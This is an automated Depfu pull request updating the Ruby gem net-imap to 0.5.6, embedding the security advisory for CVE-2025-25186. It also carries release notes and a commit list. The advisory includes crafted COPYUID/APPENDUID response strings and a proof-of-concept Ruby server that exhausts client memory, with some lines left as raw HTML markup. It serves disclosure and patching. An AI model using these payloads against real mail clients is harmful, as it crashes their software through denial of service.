🚨 [security] [ruby] Update net-imap 0.5.5 → 0.5.6 (minor)

[depfu]

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

↗️ net-imap (indirect, 0.5.5 → 0.5.6) · Repo

Security Advisories 🚨

🚨 Possible DoS by memory exhaustion in net-imap

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"
# Worst valid input scenario (using uint32 max),

# 44 bytes expands to 64GiB:

"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"
# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than

# UINT32_MAX can be created.  For example, the following would theoretically

# expand to almost 800 exabytes:

"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this:

require "net/imap"
def test(size)

input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\n"

parser = Net::IMAP::ResponseParser.new

parser.parse input

end
test(99_999_999)

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure:

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available.
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will crash.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

limit = 1000
imap.add_response_handler do |resp|
  next unless resp.respond_to?(:name) && resp.respond_to?(:data)
  name = resp.name
  code = resp.data.code&.name if resp.data.respond_to?(:code)
  if Net::IMAP::VERSION > "0.4.0"
    imap.responses(name) { _1.slice!(0...-limit) }
    imap.responses(code) { _1.slice!(0...-limit) }
  else
    imap.responses(name).slice!(0...-limit)
    imap.responses(code).slice!(0...-limit)
  end
end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable:

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'
if !defined?(Net::IMAP.config)

puts "Net::IMAP.config is not available"

elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)

puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"

else

Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size

puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"

end
size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)
def server_addr

Addrinfo.tcp("localhost", 0).ip_address

end
def create_tcp_server

TCPServer.new(server_addr, 0)

end
def start_server

th = Thread.new do

yield

end

sleep 0.1 until th.stop?

end
def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")

"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"

end
def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")

"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"

end
server = create_tcp_server

port = server.addr[1]

puts "Server started on port #{port}"
# server

start_server do

sock = server.accept

begin

sock.print "* OK test server\r\n"

cmd = sock.gets("\r\n", chomp: true)

tag = cmd.match(/\A(\w+) /)[1]

puts "Received: #{cmd}"
<span class="pl-s1">malicious_response</span> <span class="pl-c1">=</span> <span class="pl-en">appenduid_response</span><span class="pl-kos">(</span><span class="pl-pds">size</span>:<span class="pl-kos">)</span>
<span class="pl-en">puts</span> <span class="pl-s">"Sending: <span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">malicious_response</span><span class="pl-kos">.</span><span class="pl-en">chomp</span><span class="pl-kos">}</span></span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s1">malicious_response</span>

<span class="pl-s1">malicious_response</span> <span class="pl-c1">=</span> <span class="pl-en">copyuid_response</span><span class="pl-kos">(</span><span class="pl-pds">size</span>:<span class="pl-kos">)</span>
<span class="pl-en">puts</span> <span class="pl-s">"Sending: <span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">malicious_response</span><span class="pl-kos">.</span><span class="pl-en">chomp</span><span class="pl-kos">}</span></span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s1">malicious_response</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s">"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s">"<span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">tag</span><span class="pl-kos">}</span></span> OK CAPABILITY completed<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span>

<span class="pl-s1">cmd</span> <span class="pl-c1">=</span> <span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">gets</span><span class="pl-kos">(</span><span class="pl-s">"<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span><span class="pl-kos">,</span> <span class="pl-pds">chomp</span>: <span class="pl-c1">true</span><span class="pl-kos">)</span>
<span class="pl-s1">tag</span> <span class="pl-c1">=</span> <span class="pl-s1">cmd</span><span class="pl-kos">.</span><span class="pl-en">match</span><span class="pl-kos">(</span><span class="pl-sr">/<span class="pl-cce">\A</span>(<span class="pl-cce">\w</span>+) /</span><span class="pl-kos">)</span><span class="pl-kos">[</span><span class="pl-c1">1</span><span class="pl-kos">]</span>
<span class="pl-en">puts</span> <span class="pl-s">"Received: <span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">cmd</span><span class="pl-kos">}</span></span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s">"* BYE If you made it this far, you passed the test!<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s">"<span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">tag</span><span class="pl-kos">}</span></span> OK LOGOUT completed<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span>

rescue Exception => ex

puts "Error in server: #{ex.message} (#{ex.class})"

ensure

sock.close

server.close

end

end
# client

begin

puts "Client connecting,.."

imap = Net::IMAP.new(server_addr, port: port)

puts "Received capabilities: #{imap.capability}"

pp responses: imap.responses

imap.logout

rescue Exception => ex

puts "Error in client: #{ex.message} (#{ex.class})"

puts ex.full_message

ensure

imap.disconnect if imap

end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:

$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
        from /workspace/poc.rb:70:in '<main>'

Release Notes

0.5.6

What's Changed

🔒 Security Fix

Fixes CVE-2025-25186 (GHSA-7fc5-f82f-cx69): A malicious server can exhaust client memory by sending APPENDUID or COPYUID responses with very large uid-set ranges. Net::IMAP::UIDPlusData expands these ranges into arrays of integers.

Fix with minor API changes

Set config.parser_use_deprecated_uidplus_data to false to replace UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses should not see any difference. Code that does handle these responses may need to be updated.

For v0.3.8, this option is not available
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigate with backward compatible API

Adjust config.parser_max_deprecated_uidplus_data_size to limit the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will crash.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000.
For v0.4.19, this limit defaults to 1000.
For v0.5.6, this limit defaults to 100.
For v0.6.0, the only allowed value will be 0 (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

limit = 1000
imap.add_response_handler do |resp|
  next unless resp.respond_to?(:name) && resp.respond_to?(:data)
  name = resp.name
  code = resp.data.code&.name if resp.data.in?(Net::IMAP::ResponseText)
  imap.responses(name) { _1.slice!(0...-limit) }
  imap.responses(code) { _1.slice!(0...-limit) }
end

Added

• 🔧 Ensure ResponseParser config is mutable and non-global by @nevans in #381
• ✨ Add SequenceSet methods for querying about duplicates by @nevans in #384
• ✨ Add SequenceSet#each_ordered_number by @nevans in #386
• ✨ Add SequenceSet#find_ordered_index by @nevans in #396
• ✨ Add SequenceSet#ordered_at by @nevans in #397
• ✨ Add AppendUIDData and CopyUIDData classes by @nevans in #400
• 🔧 Add parser config for APPENDUID/COPYUID, 🗑️ Deprecate UIDPlusData by @nevans in #401

Fixed

• 🐛 Fix SequenceSet#append when its @string is nil by @nevans in #376
• 🐛 Fix SequenceSet merging in another SequenceSet by @nevans in #377
• 🐛 Fix SequenceSet count dups with multiple "*" by @nevans in #387
• 🥅 Re-raise #starttls error from receiver thread by @nevans in #395

Documentation

• 📚 Fix SequenceSet#cover? documentation by @nevans in #379
• 📚 Document COPYUID in tagged vs untagged responses by @nevans in #398

Other Changes

• 🚚 Move UIDPlusData to its own file by @nevans in #391
• ♻️ Parse uid-set as sequence-set without * by @nevans in #393

Miscellaneous

• ⬆️ Bump step-security/harden-runner from 2.10.2 to 2.10.3 by @dependabot in #375
• ⬆️ Bump step-security/harden-runner from 2.10.3 to 2.10.4 by @dependabot in #380
• ✅ Improve test coverage for SequenceSet enums by @nevans in #383
• ♻️✅ Refactor SequenceSet enumerator tests by @nevans in #385
• ➕ Add "irb" to Gemfile to silence warning by @nevans in #388
• Omit flaky test with macOS platform by @hsbt in #389
• ✅ Improve UIDPlusData test coverage by @nevans in #392
• 🚚 Rename UIDPLUS test file for consistency by @nevans in #399

Full Changelog: v0.5.5...v0.5.6

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 43 commits:

• 🔖 Bump version to 0.5.6
• Merge commit from fork
• 🔧 Add `:up_to_max_size` config for UIDPlusData
• 🔧 Add config option for max UIDPlusData size
• 🔒 Limit exponential memory usage to parse uid-set
• 🔧🗑️ Deprecate UIDPlusData, with config to upgrade
• 🔀 Merge pull request #400 from ruby/add-appenduid-copyuid-classes
• ✨ Add CopyUIDData (to replace UIDPlusData)
• ✨ Add AppendUIDData (to replace UIDPlusData)
• 🚚 Rename UIDPLUS test file for consistency
• 📚 Document COPYUID in tagged vs untagged responses
• 🔀 Merge pull request #397 from ruby/sequence_set-ordered_at
• ✨ Add `SequenceSet#ordered_at`
• ✅ Add missing specs for `SequenceSet#at`, `#[]`
• 🥅 Re-raise `#starttls` error from receiver thread
• 🔀 Merge pull request #396 from ruby/sequence_set-find_ordered_index
• ✨ Add `SequenceSet#find_ordered_index`
• 📚 Update SequenceSet rdoc for sorted set indexing
• ♻️ Parse `uid-set` as `sequence-set` without `*`
• 🚚 Move UIDPlusData to its own file
• 🔀 Merge pull request #392 from ruby/uidplus_data_test_coverage
• ✅ Improve UIDPlusData#uid_mapping test coverage
• 🚚 Move "response data" tests to appropriate files
• 🔀 Merge pull request #389 from ruby/omit-flaky-test
• Omit test_imaps_verify_none and test_imaps_with_ca_file if it catched OpenSSL::SSL::SSLError and running with macOS
• Extend timeout because it's flaky with macOS
• ➕ Add "irb" to Gemfile to silence warning
• 🐛 Fix SequenceSet count dups with multiple "*"
• ✨ Add `SequenceSet#each_ordered_number`
• ♻️✅ Refactor SequenceSet enumerator tests
• 🔀 Merge pull request #384 from ruby/sequence-set-ordered-duplicates-methods
• ✨ Add `SequenceSet#count_with_duplicates`, etc
• 📚 Update SequenceSet "What's Here?" index
• ✅ Improve test coverage for SequenceSet enums
• 🔧 ResponseParser config is mutable and non-global
• Merge pull request #380 from ruby/dependabot/github_actions/step-security/harden-runner-2.10.4
• :arrow_up: Bump step-security/harden-runner from 2.10.3 to 2.10.4
• 📚 Fix `SequenceSet#cover?` documentation
• 🐛 Fix `SequenceSet#merge` with another SequenceSet
• 🔀 Merge pull request #376 from ruby/seqset-bugfixes
• 🐛 Fix `SequenceSet#append` when `@string` is nil
• 📚 Update SequenceSet nomalized vs ordered rdoc
• ⬆️ Bump step-security/harden-runner from 2.10.2 to 2.10.3 (#375)

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)

[codeclimate]

Code Climate has analyzed commit 54db881 and detected 0 issues on this pull request.

View more on Code Climate.

[github-actions]

This PR has been merged into main. The functionality will be available in the next release.

Please check the release guide for more information.